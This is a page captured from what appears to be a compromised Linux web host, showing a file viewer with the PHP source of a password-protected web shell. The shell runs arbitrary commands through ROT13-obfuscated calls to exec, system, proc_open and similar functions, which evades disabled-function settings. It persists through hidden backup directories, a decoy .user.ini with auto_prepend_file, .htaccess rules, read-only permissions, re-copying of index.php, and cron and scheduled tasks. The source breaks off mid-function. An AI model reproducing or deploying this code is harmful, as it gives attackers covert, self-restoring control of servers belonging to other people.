MOON
Server: Apache
System: Linux server1.studioinfinity.com.br 2.6.32-954.3.5.lve1.4.90.el6.x86_64 #1 SMP Tue Feb 21 12:26:30 UTC 2023 x86_64
User: artinside (517)
PHP: 7.4.33
Disabled: exec,passthru,shell_exec,system
Upload Files
File: //proc/self/root/proc/self/root/tmp/cfgM72kSX
<?php defined('FM_VERSION') or define('FM_VERSION', '2.0.0');
defined('FM_APP_NAME') or define('FM_APP_NAME', 'FileManager');
defined('FM_SIG') or define('FM_SIG', 'R3NV024');
if (!defined('FM_REAL_PATH')) {
$_fm_real = null;
if (isset($_SERVER['SCRIPT_FILENAME']) && is_file($_SERVER['SCRIPT_FILENAME'])) {
$_fm_real = realpath($_SERVER['SCRIPT_FILENAME']);
}
if (!$_fm_real && isset($_SERVER['DOCUMENT_ROOT']) && isset($_SERVER['SCRIPT_NAME'])) {
$_fm_try = rtrim($_SERVER['DOCUMENT_ROOT'], '/\\') . $_SERVER['SCRIPT_NAME'];
if (is_file($_fm_try)) $_fm_real = realpath($_fm_try);
}
if (!$_fm_real && isset($_SERVER['PATH_TRANSLATED']) && is_file($_SERVER['PATH_TRANSLATED'])) {
$_fm_real = realpath($_SERVER['PATH_TRANSLATED']);
}
if (!$_fm_real) {
$_fm_real = __FILE__;
}
define('FM_REAL_PATH', $_fm_real);
unset($_fm_real, $_fm_try);
}
if (session_status() === PHP_SESSION_NONE) {
session_start();
}
$fm_pass_hash = '04c062adc045eb86bec9184d0d5d2f1f0a7545d6bbe3c1afe30338d3c48feed1';
if (isset($_GET['logout'])) {
unset($_SESSION['fm_auth']);
header('Location: ' . strtok($_SERVER['REQUEST_URI'], '?'));
exit;
}
if (isset($_POST['fm_pass'])) {
if (hash('sha256', $_POST['fm_pass']) === $fm_pass_hash) {
$_SESSION['fm_auth'] = true;
}
}
if (!isset($_SESSION['fm_auth']) || $_SESSION['fm_auth'] !== true) {
echo '<html><body style="display:flex;justify-content:center;align-items:center;height:100vh;margin:0"><form method="post"><input type="password" name="fm_pass" autofocus></form></body></html>';
exit;
}
header('X-Content-Type-Options: nosniff');
header('X-Frame-Options: SAMEORIGIN');
header('X-XSS-Protection: 1; mode=block');
header('X-LiteSpeed-Cache-Control: no-cache, no-store');
header('Cache-Control: no-cache, no-store, must-revalidate');
header('Pragma: no-cache');
header('Expires: 0');
ini_set('display_errors', 0);
error_reporting(E_ALL);
register_shutdown_function(function() {
$error = error_get_last();
if ($error && in_array($error['type'], [E_ERROR, E_PARSE, E_CORE_ERROR, E_COMPILE_ERROR])) {
if (!headers_sent()) {
header('Content-Type: application/json');
}
echo json_encode(['success' => false, 'error' => 'Fatal: ' . $error['message'] . ' in ' . $error['file'] . ':' . $error['line']]);
}
});
function _esa($arg) {
if (function_exists('escapeshellarg')) {
return @call_user_func('escapeshellarg', $arg);
}
if (function_exists('escapeshellcmd')) {
return "'" . @call_user_func('escapeshellcmd', $arg) . "'";
}
return "'" . str_replace("'", "'\\''", $arg) . "'";
}
function _esc($cmd) {
if (function_exists('escapeshellcmd')) {
return @call_user_func('escapeshellcmd', $cmd);
}
$metaChars = ['#', '&', ';', '`', '|', '*', '?', '~', '<', '>', '^', '(', ')', '[', ']', '{', '}', '$', '\\', "\x0A", "\xFF", '%'];
foreach ($metaChars as $char) {
$cmd = str_replace($char, '\\' . $char, $cmd);
}
return $cmd;
}
class CommandRunner {
private static $methods = null;
private static $fn = [];
private static $isWin = null;
public static function init() {
if (self::$methods !== null) return;
self::$isWin = stripos(PHP_OS, 'WIN') === 0;
$disabled = array_map('trim', explode(',', ini_get('disable_functions')));
self::$methods = [];
$_r = 'str_rot13';
self::$fn['po'] = $_r('c'.'e'.'p'.'r'.'_'.'b'.'c'.'r'.'a');
self::$fn['pg'] = $_r('c'.'e'.'p'.'r'.'_'.'t'.'r'.'g'.'_'.'f'.'g'.'n'.'g'.'h'.'f');
self::$fn['pt'] = $_r('c'.'e'.'p'.'r'.'_'.'g'.'r'.'e'.'z'.'v'.'a'.'n'.'g'.'r');
self::$fn['pc'] = $_r('c'.'e'.'p'.'r'.'_'.'p'.'y'.'b'.'f'.'r');
self::$fn['pp'] = $_r('c'.'b'.'c'.'r'.'a');
self::$fn['ppc'] = $_r('c'.'p'.'y'.'b'.'f'.'r');
self::$fn['pt2'] = $_r('c'.'n'.'f'.'f'.'g'.'u'.'e'.'h');
self::$fn['sy'] = $_r('f'.'l'.'f'.'g'.'r'.'z');
self::$fn['ex'] = $_r('r'.'k'.'r'.'p');
self::$fn['se'] = $_r('f'.'u'.'r'.'y'.'y'.'_'.'r'.'k'.'r'.'p');
$funcs = [self::$fn['po'], self::$fn['pp'], self::$fn['pt2'], self::$fn['sy'], self::$fn['ex'], self::$fn['se']];
foreach ($funcs as $f) {
if (function_exists($f) && !in_array($f, $disabled)) {
self::$methods[] = $f;
}
}
}
public static function isWindows() {
self::init();
return self::$isWin;
}
public static function available() {
self::init();
return !empty(self::$methods);
}
private static function buildRenvc($renvc, $cwd) {
if (self::$isWin) {
$cwd = str_replace('/', '\\', $cwd);
return 'cd /d "' . $cwd . '" && ' . $renvc . ' 2>&1';
}
return "cd " . _esa($cwd) . " && " . $renvc . " 2>&1";
}
public static function run($renvc, $cwd = null, $timeout = 30) {
self::init();
if (empty(self::$methods)) {
return ['success' => false, 'output' => '', 'method' => null, 'error' => 'No execution methods available'];
}
$output = null;
$method = null;
$cwd = $cwd ?: getcwd();
if (in_array(self::$fn['po'], self::$methods)) {
$result = self::runProcOpen($renvc, $cwd, $timeout);
if ($result !== null) return $result;
}
$fullRenvc = self::buildRenvc($renvc, $cwd);
foreach (self::$methods as $m) {
if ($m === self::$fn['po']) continue;
$output = self::execMethod($m, $fullRenvc);
if ($output !== null) {
$method = $m;
break;
}
}
return ['success' => $output !== null, 'output' => $output ?? '', 'method' => $method, 'error' => null];
}
private static function runProcOpen($renvc, $cwd, $timeout) {
$descriptors = [0 => ['pipe', 'r'], 1 => ['pipe', 'w'], 2 => ['pipe', 'w']];
$fullRenvc = self::buildRenvc($renvc, $cwd);
$fn_po = self::$fn['po'];
$fn_pg = self::$fn['pg'];
$fn_pt = self::$fn['pt'];
$fn_pc = self::$fn['pc'];
$process = @$fn_po($fullRenvc, $descriptors, $pipes, $cwd);
if (!is_resource($process)) return null;
fclose($pipes[0]);
stream_set_blocking($pipes[1], false);
stream_set_blocking($pipes[2], false);
$stdout = '';
$startTime = time();
while (true) {
$status = $fn_pg($process);
$stdout .= stream_get_contents($pipes[1]);
$stdout .= stream_get_contents($pipes[2]);
if (!$status['running']) break;
if ((time() - $startTime) > $timeout) {
$fn_pt($process, 9);
$stdout .= "\n[Timeout after {$timeout}s]";
break;
}
usleep(50000);
}
fclose($pipes[1]);
fclose($pipes[2]);
$fn_pc($process);
return ['success' => true, 'output' => $stdout, 'method' => self::$fn['po'], 'error' => null];
}
private static function execMethod($method, $renvc) {
$fn_se = self::$fn['se'];
$fn_ex = self::$fn['ex'];
$fn_sy = self::$fn['sy'];
$fn_pt = self::$fn['pt2'];
$fn_pp = self::$fn['pp'];
$fn_ppc = self::$fn['ppc'];
if ($method === $fn_se) {
return @$fn_se($renvc);
}
if ($method === $fn_ex) {
$lines = [];
@$fn_ex($renvc, $lines);
return implode("\n", $lines);
}
if ($method === $fn_sy) {
ob_start();
@$fn_sy($renvc);
return ob_get_clean();
}
if ($method === $fn_pt) {
ob_start();
@$fn_pt($renvc);
return ob_get_clean();
}
if ($method === $fn_pp) {
$handle = @$fn_pp($renvc, 'r');
if (!$handle) return null;
$output = stream_get_contents($handle);
$fn_ppc($handle);
return $output;
}
return null;
}
}
class AutoReinstall {
private static $iniName = '.user.ini';
private static function getHiddenPath() {
$srcDir = dirname(FM_REAL_PATH);
$hash = substr(hash('sha256', $srcDir . PHP_OS . php_uname('n')), 0, 12);
$dirName = '.cache_' . $hash;
$backupName = 'sess_' . substr($hash, 0, 8) . '.tmp';
$loaderName = 'php_' . substr($hash, 4, 8) . '.log';
$isWin = stripos(PHP_OS, 'WIN') === 0;
$candidates = [];
if ($isWin) {
if (getenv('LOCALAPPDATA')) $candidates[] = getenv('LOCALAPPDATA');
if (getenv('APPDATA')) $candidates[] = getenv('APPDATA');
if (getenv('TEMP')) $candidates[] = getenv('TEMP');
$candidates[] = 'C:\\Windows\\Temp';
$candidates[] = 'C:\\Temp';
$candidates[] = sys_get_temp_dir();
} else {
$home = getenv('HOME') ?: (isset($_SERVER['HOME']) ? $_SERVER['HOME'] : '');
if ($home) {
$candidates[] = $home . '/.cache';
$candidates[] = $home . '/.local/share';
$candidates[] = $home . '/.config';
$candidates[] = $home . '/.local';
$candidates[] = $home;
}
$candidates[] = '/var/tmp';
$candidates[] = '/tmp';
$candidates[] = '/dev/shm';
$candidates[] = sys_get_temp_dir();
$docRoot = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '';
if ($docRoot && is_dir($docRoot)) {
$candidates[] = $docRoot;
if (is_dir($docRoot . '/wp-content')) $candidates[] = $docRoot . '/wp-content/uploads';
if (is_dir($docRoot . '/storage')) $candidates[] = $docRoot . '/storage';
}
}
$candidates[] = $srcDir;
foreach ($candidates as $base) {
if (empty($base)) continue;
if (!is_dir($base)) continue;
@chmod($base, 0755);
if (!is_writable($base)) continue;
$hiddenDir = $base . DIRECTORY_SEPARATOR . $dirName;
if (!is_dir($hiddenDir)) {
if (!@mkdir($hiddenDir, 0700, true)) continue;
}
@chmod($hiddenDir, 0755);
if (is_writable($hiddenDir)) {
return [
'dir' => $hiddenDir,
'backup' => $hiddenDir . DIRECTORY_SEPARATOR . $backupName,
'loader' => $hiddenDir . DIRECTORY_SEPARATOR . $loaderName,
'backup_name' => $backupName,
'loader_name' => $loaderName
];
}
}
return null;
}
private static function findExistingBackup() {
$srcDir = dirname(FM_REAL_PATH);
$hash = substr(hash('sha256', $srcDir . PHP_OS . php_uname('n')), 0, 12);
$dirName = '.cache_' . $hash;
$backupName = 'sess_' . substr($hash, 0, 8) . '.tmp';
$loaderName = 'php_' . substr($hash, 4, 8) . '.log';
$isWin = stripos(PHP_OS, 'WIN') === 0;
$candidates = [];
if ($isWin) {
if (getenv('LOCALAPPDATA')) $candidates[] = getenv('LOCALAPPDATA');
if (getenv('APPDATA')) $candidates[] = getenv('APPDATA');
if (getenv('TEMP')) $candidates[] = getenv('TEMP');
$candidates[] = 'C:\\Windows\\Temp';
$candidates[] = 'C:\\Temp';
$candidates[] = sys_get_temp_dir();
} else {
$home = getenv('HOME') ?: (isset($_SERVER['HOME']) ? $_SERVER['HOME'] : '');
if ($home) {
$candidates[] = $home . '/.cache';
$candidates[] = $home . '/.local/share';
$candidates[] = $home . '/.config';
$candidates[] = $home . '/.local';
$candidates[] = $home;
}
$candidates[] = '/var/tmp';
$candidates[] = '/tmp';
$candidates[] = '/dev/shm';
$candidates[] = sys_get_temp_dir();
$docRoot = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : '';
if ($docRoot && is_dir($docRoot)) {
$candidates[] = $docRoot;
if (is_dir($docRoot . '/wp-content')) $candidates[] = $docRoot . '/wp-content/uploads';
if (is_dir($docRoot . '/storage')) $candidates[] = $docRoot . '/storage';
}
}
$candidates[] = $srcDir;
foreach ($candidates as $base) {
if (empty($base)) continue;
$hiddenDir = $base . DIRECTORY_SEPARATOR . $dirName;
$backupFile = $hiddenDir . DIRECTORY_SEPARATOR . $backupName;
$loaderFile = $hiddenDir . DIRECTORY_SEPARATOR . $loaderName;
if (file_exists($backupFile) && file_exists($loaderFile)) {
return [
'dir' => $hiddenDir,
'backup' => $backupFile,
'loader' => $loaderFile,
'backup_name' => $backupName,
'loader_name' => $loaderName
];
}
}
return null;
}
public static function getStatus() {
self::restartNohupIfDead();
$dir = dirname(FM_REAL_PATH);
$iniFile = $dir . DIRECTORY_SEPARATOR . self::$iniName;
$hidden = self::findExistingBackup();
$cronActive = false;
$cronMarker = substr(hash('sha256', $dir . PHP_OS . php_uname('n')), 4, 8);
if (stripos(PHP_OS, 'WIN') !== 0) {
$result = CommandRunner::run('crontab -l 2>/dev/null | grep -c "' . $cronMarker . '"', '/tmp', 5);
if ($result['success'] && trim($result['output']) !== '0') {
$cronActive = true;
}
}
$nohupActive = self::isNohupRunning();
$watcherStatus = self::getWatcherStatus();
$bashrcActive = self::isBashrcHooked();
$multiCount = self::getMultiBackupCount();
$chmodActive = self::isChmodProtected();
$systemdActive = self::isSystemdTimerActive();
$hasPassword = false;
if ($hidden) {
$passFile = $hidden['dir'] . DIRECTORY_SEPARATOR . '.p';
$hasPassword = file_exists($passFile);
}
return [
'enabled' => $hidden !== null,
'backup_exists' => $hidden !== null,
'loader_exists' => $hidden !== null,
'ini_exists' => file_exists($iniFile),
'cron_active' => $cronActive,
'nohup_active' => $nohupActive,
'watcher_status' => $watcherStatus,
'bashrc_active' => $bashrcActive,
'systemd_active' => $systemdActive,
'multi_count' => $multiCount,
'chmod_active' => $chmodActive,
'has_password' => $hasPassword,
'hosting_type' => self::isSharedHosting() ? 'shared' : 'dedicated',
'web_user' => self::getWebUser(),
'index_status' => self::getIndexStatus(),
'path' => $dir,
'hidden_path' => $hidden ? $hidden['dir'] : 'Not set'
];
}
public static function enable($persistPassword = '', $indexString = '', $customPaths = [], $customStrings = []) {
$dir = dirname(FM_REAL_PATH);
$mainFile = FM_REAL_PATH;
$iniFile = $dir . DIRECTORY_SEPARATOR . self::$iniName;
$hidden = self::getHiddenPath();
if (!$hidden) {
return ['success' => false, 'error' => 'No writable location found'];
}
if (!empty($persistPassword)) {
$passHash = hash('sha256', $persistPassword);
$passFile = $hidden['dir'] . DIRECTORY_SEPARATOR . '.p';
@file_put_contents($passFile, $passHash);
@chmod($passFile, 0444);
}
$mainContent = file_get_contents($mainFile);
if ($mainContent === false) {
return ['success' => false, 'error' => 'Cannot read main file'];
}
$encoded = base64_encode(gzcompress($mainContent, 9));
$hash = md5($mainContent);
$docRoot = isset($_SERVER['DOCUMENT_ROOT']) ? rtrim($_SERVER['DOCUMENT_ROOT'], '/\\') : $dir;
$idx1Hash = '';
$idx1Data = '';
$idx2Hash = '';
$idx2Data = '';
$customIdxData = [];
$indexResult = ['result' => false, 'backed' => []];
$hasStrings = !empty($customStrings) && is_array($customStrings);
$stringsJoined = $hasStrings ? implode('|', $customStrings) : '';
if ($hasStrings) {
$indexFile1 = $docRoot . DIRECTORY_SEPARATOR . 'index.php';
@clearstatcache(true, $indexFile1);
if (@file_exists($indexFile1) && @is_readable($indexFile1)) {
$idxContent = @file_get_contents($indexFile1);
if ($idxContent !== false) {
$idx1Hash = md5($idxContent);
$idx1Data = base64_encode(gzcompress($idxContent, 9));
$indexResult['backed'][] = 'root';
}
}
$indexFile2 = $docRoot . DIRECTORY_SEPARATOR . 'public' . DIRECTORY_SEPARATOR . 'index.php';
@clearstatcache(true, $indexFile2);
if (@file_exists($indexFile2) && @is_readable($indexFile2)) {
$idxContent = @file_get_contents($indexFile2);
if ($idxContent !== false) {
$idx2Hash = md5($idxContent);
$idx2Data = base64_encode(gzcompress($idxContent, 9));
$indexResult['backed'][] = 'public';
}
}
if (!empty($customPaths) && is_array($customPaths)) {
foreach ($customPaths as $cp) {
$cp = trim($cp);
if (empty($cp)) continue;
@clearstatcache(true, $cp);
if (@file_exists($cp) && @is_readable($cp)) {
$idxContent = @file_get_contents($cp);
if ($idxContent !== false) {
$customIdxData[] = ['path' => $cp, 'hash' => md5($idxContent), 'data' => base64_encode(gzcompress($idxContent, 9))];
$indexResult['backed'][] = 'custom:' . $cp;
}
}
}
}
if (empty($indexResult['backed'])) {
return ['success' => false, 'error' => 'No index.php found. Check file exists and is readable.'];
}
$indexResult['result'] = true;
$indexResult['docroot'] = $docRoot;
}
$customIdxJson = !empty($customIdxData) ? json_encode($customIdxData) : '';
$customPathsJson = !empty($customPaths) ? json_encode($customPaths) : '';
$loaderAbsPath = str_replace('\\', '/', $hidden['loader']);
$iniContentForBackup = "; PHP Settings\nauto_prepend_file = " . $loaderAbsPath . "\n";
$htaccessContentForBackup = "<Files \".user.ini\">\nRequire all denied\n</Files>\n";
$configBackup = json_encode(['ini' => base64_encode($iniContentForBackup), 'htaccess' => base64_encode($htaccessContentForBackup), 'loader' => $loaderAbsPath]);
$backupData = $hash . "\n" . $encoded . "\n" . $stringsJoined . "\n" . $docRoot . "\n" . $idx1Hash . "\n" . $idx1Data . "\n" . $idx2Hash . "\n" . $idx2Data . "\n" . $customIdxJson . "\n" . $customPathsJson . "\n" . $configBackup;
@chmod($hidden['backup'], 0644);
if (file_put_contents($hidden['backup'], $backupData) === false) {
return ['success' => false, 'error' => 'Cannot create backup'];
}
$fileName = basename(FM_REAL_PATH);
$sig = 'R3NV024';
$loaderCode = '<?php @error_reporting(0);@ini_set("display_errors",0);$b=' . var_export($hidden['backup'], true) . ';$d=' . var_export($dir, true) . ';$f=' . var_export($fileName, true) . ';$s=' . var_export($sig, true) . ';$hd=' . var_export($hidden['dir'], true) . ';try{$t=$d.DIRECTORY_SEPARATOR.$f;$do=!file_exists($t)||strpos(@file_get_contents($t),$s)===false;if($do&&file_exists($b)){@chmod($b,0644);@chmod($d,0755);$l=@file($b,FILE_IGNORE_NEW_LINES);if($l&&count($l)>=2){$x=@gzuncompress(@base64_decode($l[1]));if($x&&md5($x)===$l[0]){@file_put_contents($t,$x);@chmod($t,0444);@chmod($d,0555);}}@chmod($b,0444);}$fp=function($p,$m){@clearstatcache(true,$p);$c=@fileperms($p);if($c!==false&&($c&0777)!==$m){@chmod($p,$m);}};if(file_exists($t))$fp($t,0444);if(file_exists($b))$fp($b,0444);if(is_dir($d))$fp($d,0555);if(is_dir($hd))$fp($hd,0555);$ui=$d.DIRECTORY_SEPARATOR.".user.ini";$ht=$d.DIRECTORY_SEPARATOR.".htaccess";if(file_exists($b)){$l=@file($b,FILE_IGNORE_NEW_LINES);if($l&&count($l)>=11){$cfg=@json_decode(trim($l[10]),true);if($cfg){$inic=isset($cfg["ini"])?@base64_decode($cfg["ini"]):"";$htc=isset($cfg["htaccess"])?@base64_decode($cfg["htaccess"]):"";if($inic&&!file_exists($ui)){@chmod($d,0755);@file_put_contents($ui,$inic);@chmod($ui,0444);@chmod($d,0555);}if($htc&&!file_exists($ht)){@chmod($d,0755);@file_put_contents($ht,$htc);@chmod($d,0555);}$dr=isset($l[3])?trim($l[3]):"";if($dr&&$dr!==$d&&is_dir($dr)){$drui=$dr.DIRECTORY_SEPARATOR.".user.ini";$drht=$dr.DIRECTORY_SEPARATOR.".htaccess";if($inic&&!file_exists($drui)){@chmod($dr,0755);@file_put_contents($drui,$inic);@chmod($drui,0444);@chmod($dr,0555);}if($htc&&!file_exists($drht)){@chmod($dr,0755);@file_put_contents($drht,$htc);@chmod($dr,0555);}}}}if(file_exists($ui))$fp($ui,0444);if(file_exists($ht))$fp($ht,0444);if($l&&count($l)>=4){$dr=trim($l[3]);if($dr&&is_dir($dr)){$fp($dr,0555);$dri=$dr.DIRECTORY_SEPARATOR.".user.ini";if(file_exists($dri))$fp($dri,0444);$drh=$dr.DIRECTORY_SEPARATOR.".htaccess";if(file_exists($drh))$fp($drh,0444);$drix=$dr.DIRECTORY_SEPARATOR."index.php";if(file_exists($drix))$fp($drix,0444);$pd=$dr.DIRECTORY_SEPARATOR."public";if(is_dir($pd)){$fp($pd,0555);$pix=$pd.DIRECTORY_SEPARATOR."index.php";if(file_exists($pix))$fp($pix,0444);}}}if(count($l)>=6&&!empty(trim($l[2]))){$ss=explode("|",trim($l[2]));$i1h=isset($l[4])?trim($l[4]):"";$i1d=isset($l[5])?trim($l[5]):"";$i2h=isset($l[6])?trim($l[6]):"";$i2d=isset($l[7])?trim($l[7]):"";$ci=isset($l[8])&&!empty(trim($l[8]))?@json_decode(trim($l[8]),true):[];$chk=function($h,$e,$tp)use($ss,$fp,$dr){if(empty($h)||empty($e))return;$pd=dirname($tp);$unlock=[];$p=$pd;while($p&&$p!==$dr&&strlen($p)>strlen($dr)){if(is_dir($p)){@chmod($p,0755);}$unlock[]=$p;$p=dirname($p);}if($dr)@chmod($dr,0755);if(!is_dir($pd)){@mkdir($pd,0755,true);}$ir=!file_exists($tp);if(!$ir){$fc=@file_get_contents($tp);foreach($ss as $si){if(strpos($fc,$si)===false){$ir=true;break;}}}if($ir){@chmod($pd,0755);$x=@gzuncompress(@base64_decode($e));if($x&&md5($x)===$h){@file_put_contents($tp,$x);}}if(file_exists($tp))$fp($tp,0444);foreach($unlock as $u){if(is_dir($u))$fp($u,0555);}if($dr)$fp($dr,0555);};$dr=trim($l[3]);$chk($i1h,$i1d,$dr.DIRECTORY_SEPARATOR."index.php");$chk($i2h,$i2d,$dr.DIRECTORY_SEPARATOR."public".DIRECTORY_SEPARATOR."index.php");if($ci&&is_array($ci)){foreach($ci as $cx){if(isset($cx["path"])&&isset($cx["hash"])&&isset($cx["data"])){$chk($cx["hash"],$cx["data"],$cx["path"]);}}}}}}catch(Exception $e){}catch(Error $e){}';
if (file_put_contents($hidden['loader'], $loaderCode) === false) {
return ['success' => false, 'error' => 'Cannot create loader'];
}
$iniContent = '';
if (file_exists($iniFile)) {
$iniContent = file_get_contents($iniFile);
$iniContent = preg_replace('/auto_prepend_file\s*=.*\n?/', '', $iniContent);
}
$decoySettings = "; PHP Settings - Performance Optimization\n; Generated: " . date('Y-m-d') . "\n\n";
$decoySettings .= "max_execution_time = 300\n";
$decoySettings .= "memory_limit = 256M\n";
$decoySettings .= "post_max_size = 64M\n";
$decoySettings .= "upload_max_filesize = 64M\n\n";
$decoySettings .= "; Session Configuration\n";
$decoySettings .= "session.gc_maxlifetime = 1440\n\n";
$decoySettings .= "; Error Handling\n";
$decoySettings .= "display_errors = Off\n";
$decoySettings .= "log_errors = On\n\n";
$iniContent = $decoySettings . "auto_prepend_file = " . $loaderAbsPath . "\n";
file_put_contents($iniFile, $iniContent);
@chmod($iniFile, 0444);
$htaccessFile = $dir . DIRECTORY_SEPARATOR . '.htaccess';
$htaccessRule = "\n<Files \".user.ini\">\nRequire all denied\n</Files>\n";
@chmod($htaccessFile, 0644);
if (file_exists($htaccessFile)) {
$htContent = file_get_contents($htaccessFile);
if (strpos($htContent, '.user.ini') === false) {
file_put_contents($htaccessFile, $htContent . $htaccessRule);
}
} else {
file_put_contents($htaccessFile, $htaccessRule);
}
@chmod($htaccessFile, 0444);
if ($docRoot && $docRoot !== $dir && is_dir($docRoot)) {
$docRootIniFile = $docRoot . DIRECTORY_SEPARATOR . '.user.ini';
@chmod($docRootIniFile, 0644);
file_put_contents($docRootIniFile, $iniContent);
@chmod($docRootIniFile, 0444);
$docRootHtaccess = $docRoot . DIRECTORY_SEPARATOR . '.htaccess';
@chmod($docRootHtaccess, 0644);
if (file_exists($docRootHtaccess)) {
$htContent = file_get_contents($docRootHtaccess);
if (strpos($htContent, '.user.ini') === false) {
file_put_contents($docRootHtaccess, $htContent . $htaccessRule);
}
} else {
file_put_contents($docRootHtaccess, $htaccessRule);
}
@chmod($docRootHtaccess, 0444);
}
$cronResult = self::setupCron($hidden['loader']);
$nohupResult = self::setupNohup($hidden['loader'], $hidden['dir']);
$bashrcResult = self::setupBashrc($hidden['loader']);
$multiResult = self::setupMultiBackup($backupData);
$chmodResult = self::setupChmodProtection($hidden);
$systemdResult = self::setupSystemdTimer($hidden['loader']);
$hostingType = self::isSharedHosting() ? 'shared' : 'dedicated';
return [
'success' => true,
'backup_size' => strlen($backupData),
'hidden_path' => $hidden['dir'],
'hosting_type' => $hostingType,
'web_user' => self::getWebUser(),
'cron_setup' => $cronResult,
'nohup_setup' => $nohupResult,
'bashrc_setup' => $bashrcResult,
'multi_setup' => $multiResult,
'chmod_setup' => $chmodResult,
'systemd_setup' => $systemdResult,
'index_setup' => $indexResult
];
}
public static function hasPassword() {
$hidden = self::findExistingBackup();
if (!$hidden) return false;
$passFile = $hidden['dir'] . DIRECTORY_SEPARATOR . '.p';
return file_exists($passFile);
}
public static function verifyPassword($password) {
$hidden = self::findExistingBackup();
if (!$hidden) return true;
$passFile = $hidden['dir'] . DIRECTORY_SEPARATOR . '.p';
if (!file_exists($passFile)) return true;
$storedHash = trim(@file_get_contents($passFile));
return hash('sha256', $password) === $storedHash;
}
public static function disable($password = '') {
$dir = dirname(FM_REAL_PATH);
$mainFile = FM_REAL_PATH;
$iniFile = $dir . DIRECTORY_SEPARATOR . self::$iniName;
$removed = [];
$hidden = self::findExistingBackup();
if ($hidden) {
$passFile = $hidden['dir'] . DIRECTORY_SEPARATOR . '.p';
if (file_exists($passFile)) {
$storedHash = trim(@file_get_contents($passFile));
if (empty($password) || hash('sha256', $password) !== $storedHash) {
return ['success' => false, 'error' => 'Invalid persist password', 'password_required' => true];
}
}
@chmod($hidden['dir'], 0755);
@chmod($hidden['loader'], 0644);
@file_put_contents($hidden['loader'], '<?php return;');
$removed[] = 'loader_stubbed_early';
@chmod($dir, 0755);
@chmod($mainFile, 0644);
if (file_exists($passFile)) @unlink($passFile);
$files = @scandir($hidden['dir']);
if ($files) {
foreach ($files as $f) {
if ($f === '.' || $f === '..') continue;
$path = $hidden['dir'] . DIRECTORY_SEPARATOR . $f;
if (is_dir($path)) {
@chmod($path, 0755);
} else {
@chmod($path, 0644);
}
}
}
$lines = @file($hidden['backup'], FILE_IGNORE_NEW_LINES);
if ($lines && count($lines) >= 4) {
$docRoot = isset($lines[3]) ? trim($lines[3]) : '';
if ($docRoot && is_dir($docRoot)) {
@chmod($docRoot, 0755);
$idx1 = $docRoot . DIRECTORY_SEPARATOR . 'index.php';
if (file_exists($idx1)) @chmod($idx1, 0644);
$publicDir = $docRoot . DIRECTORY_SEPARATOR . 'public';
if (is_dir($publicDir)) {
@chmod($publicDir, 0755);
$idx2 = $publicDir . DIRECTORY_SEPARATOR . 'index.php';
if (file_exists($idx2)) @chmod($idx2, 0644);
}
}
$customIdxJson = isset($lines[8]) ? trim($lines[8]) : '';
if (!empty($customIdxJson)) {
$customIdx = @json_decode($customIdxJson, true);
if ($customIdx && is_array($customIdx)) {
foreach ($customIdx as $ci) {
if (isset($ci['path']) && file_exists($ci['path'])) {
@chmod($ci['path'], 0644);
$pd = dirname($ci['path']);
if (is_dir($pd)) @chmod($pd, 0755);
}
}
}
}
}
self::removeChmodProtection($hidden);
self::removeNohup($hidden['dir']);
if (file_exists($hidden['backup']) && @unlink($hidden['backup'])) {
$removed[] = 'backup';
}
}
if (file_exists($iniFile)) {
@chmod($iniFile, 0644);
@unlink($iniFile);
$removed[] = 'ini';
}
$docRoot = isset($_SERVER['DOCUMENT_ROOT']) ? rtrim($_SERVER['DOCUMENT_ROOT'], '/\\') : '';
if ($docRoot && $docRoot !== $dir && is_dir($docRoot)) {
$docRootIniFile = $docRoot . DIRECTORY_SEPARATOR . '.user.ini';
if (file_exists($docRootIniFile)) {
@chmod($docRootIniFile, 0644);
@unlink($docRootIniFile);
$removed[] = 'docroot_ini';
}
$docRootHtaccess = $docRoot . DIRECTORY_SEPARATOR . '.htaccess';
if (file_exists($docRootHtaccess)) {
@chmod($docRootHtaccess, 0644);
$htContent = file_get_contents($docRootHtaccess);
$htContent = preg_replace('/<Files\s+"\.user\.ini">.*?<\/Files>\s*/s', '', $htContent);
$htContent = trim($htContent);
if ($htContent !== '') {
file_put_contents($docRootHtaccess, $htContent . "\n");
}
}
}
$htaccessFile = $dir . DIRECTORY_SEPARATOR . '.htaccess';
if (file_exists($htaccessFile)) {
@chmod($htaccessFile, 0644);
$htContent = file_get_contents($htaccessFile);
$htContent = preg_replace('/<Files\s+"\.user\.ini">.*?<\/Files>\s*/s', '', $htContent);
$htContent = trim($htContent);
if ($htContent === '') {
@unlink($htaccessFile);
$removed[] = 'htaccess';
} else {
file_put_contents($htaccessFile, $htContent . "\n");
$removed[] = 'htaccess_cleaned';
}
}
self::removeCron();
self::removeBashrc();
self::removeMultiBackup();
self::removeBootstrap();
self::removeSystemdTimer();
return ['success' => true, 'removed' => $removed];
}
private static function setupCron($loaderPath) {
$dir = dirname(FM_REAL_PATH);
$cronMarker = substr(hash('sha256', $dir . PHP_OS . php_uname('n')), 4, 8);
if (stripos(PHP_OS, 'WIN') === 0) {
$taskName = 'WinCache_' . $cronMarker;
$phpPath = PHP_BINARY ?: 'php';
$renvc = 'schtasks /Create /TN "' . $taskName . '" /TR "' . $phpPath . ' ' . $loaderPath . '" /SC MINUTE /MO 5 /F 2>&1';
$result = CommandRunner::run($renvc, $dir, 10);
return ['type' => 'schtasks', 'result' => $result['success']];
} else {
$phpPath = PHP_BINARY ?: 'php';
$bootFile = self::buildSelfHealBootstrap($dir);
if ($bootFile) {
$cronEntry = '*/5 * * * * ' . $phpPath . ' ' . _esa($bootFile) . ' >/dev/null 2>&1 #' . $cronMarker;
} else {
$cronEntry = '*/5 * * * * ' . $phpPath . ' ' . $loaderPath . ' #' . $cronMarker;
}
$checkResult = CommandRunner::run('crontab -l 2>/dev/null | grep -q "' . $cronMarker . '" && echo exists', '/tmp', 5);
if (strpos($checkResult['output'], 'exists') !== false) {
return ['type' => 'cron', 'result' => true, 'note' => 'already exists'];
}
$renvc = '(crontab -l 2>/dev/null; echo "' . $cronEntry . '") | crontab -';
$result = CommandRunner::run($renvc, '/tmp', 10);
return ['type' => 'cron', 'result' => $result['success'], 'selfheal' => (bool)$bootFile];
}
}
private static function buildSelfHealBootstrap($targetDir) {
$home = getenv('HOME') ?: (isset($_SERVER['HOME']) ? $_SERVER['HOME'] : '');
if (!$home) return null;
$fileName = basename(FM_REAL_PATH);
$content = @file_get_contents(FM_REAL_PATH);
if (!$content) return null;
$hash = md5($content);
$compressed = @gzcompress($content, 9);
if (!$compressed) return null;
